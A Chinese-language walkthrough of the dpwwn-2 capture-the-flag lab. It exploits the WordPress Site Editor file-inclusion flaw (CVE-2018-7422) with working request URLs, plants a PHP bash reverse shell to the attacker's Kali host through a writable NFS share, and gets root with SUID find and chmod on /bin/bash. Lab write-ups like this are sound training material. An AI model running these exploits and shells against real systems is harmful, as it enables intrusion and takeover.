dpwwn-2
dpwwn: 2
easyNo.9
目标: Get the root shell and then obtain flag under /root
描述: Difficulty: Intermediate++ and fun.
妙妙工具:
python -c 'import pty; pty.spawn("/bin/bash")'
¶环境配置
出现当前硬件版本不支持设备"sata", 启动失败; 不兼容设备解决办法
靶机的ip固定为10.10.10.10, 你需要自己配置网络环境
- kali: 10.10.10.128
- target: 10.10.10.10
¶信息收集
nmap
nmap -sS 10.10.10.0/24 |
访问网页
Welcome Mate : dpwwn-02 GOAL IS SIMPLE : OBTAIN: # shell like root@dpwwn-02:~# |
目录扫描, 发现存在wordpress
dirsearch -u http://10.10.10.10 |
用wpscan扫扫看看有没有东西
# 有用户admin |
再来试试rpc和nfs, 发现没有东西, 也是失败了
# /home/dpwwn02 (everyone) |
尝试往里面写文件, 发现可以写, 但是不知道那边是否可以被创建
那现在就只有一个80端口的wordpress可以整了, 没有其他东西了
结合之前尝试过的, 知道了用户admin, 但是爆破排除; 那就只能是插件有问题了
虽然详细扫描需要WPScan API Token, 但是知道有什么插件不需要, 扫描得到插件site-editor
wpscan --url http://10.10.10.10/wordpress |
不喜欢搜索就用这篇文章, 可以直接获取是什么漏洞
示例图:
搜索可以找到WordPress插件Site Editor本地文件包含漏洞, 即CVE-2018-7422
百度搜索不如google一根, 高级搜索还没别人模糊搜索强, 别用百度
利用方法就是向http://<host>/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php
文件发送ajax_path
参数读取任意文件
http://10.10.10.10/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd |
有任意读取, 但是却没有其他信息让我们知道什么地方有什么东西; 想到前面的nfs挂载, 那我们就利用这个确认nfs的那一头是否会受影响(已经创建了1.txt)
http://10.10.10.10/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/home/dpwwn02/1.txt |
证明可以成功创建, 那么就可以反弹shell了
¶getshell
新建一个php文件然后用vim编辑:
exec('/bin/bash -c "bash -i >& /dev/tcp/10.10.10.128/6666 0>&1"'); |
然后开始监听对应端口, 尝试包含文件, 成功包含
# kali |
¶信息收集
现在我们要进行第二步, 拿到root下的flag
# 系统信息 Linux dpwwn-02 5.0.0-23-generic #24-Ubuntu SMP Mon Jul 29 15:36:44 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux |
¶提权
find提权立刻结束, 然后找到/root
目录下的flag文件
find . -exec /bin/sh -p \; -quit |
¶附录
不要在根目录下执行
find .
会卡非常久, 找个小的吧
靶机为ubuntu系统, 是不允许使用nc的-e参数的, 所以不能直接利用find反弹shell:
# 如果可能的话 |
既然可以以root权限执行命令, 那就可以给/bin/bash
赋权然后利用-p参数获取root
find . -exec chmod u+s /bin/bash \; |
你问我为什么没有提权就是bash-5.0, 因为我之前在根目录执行了
find .
, 然后卡死了, 虽然执行完了但是得重新连接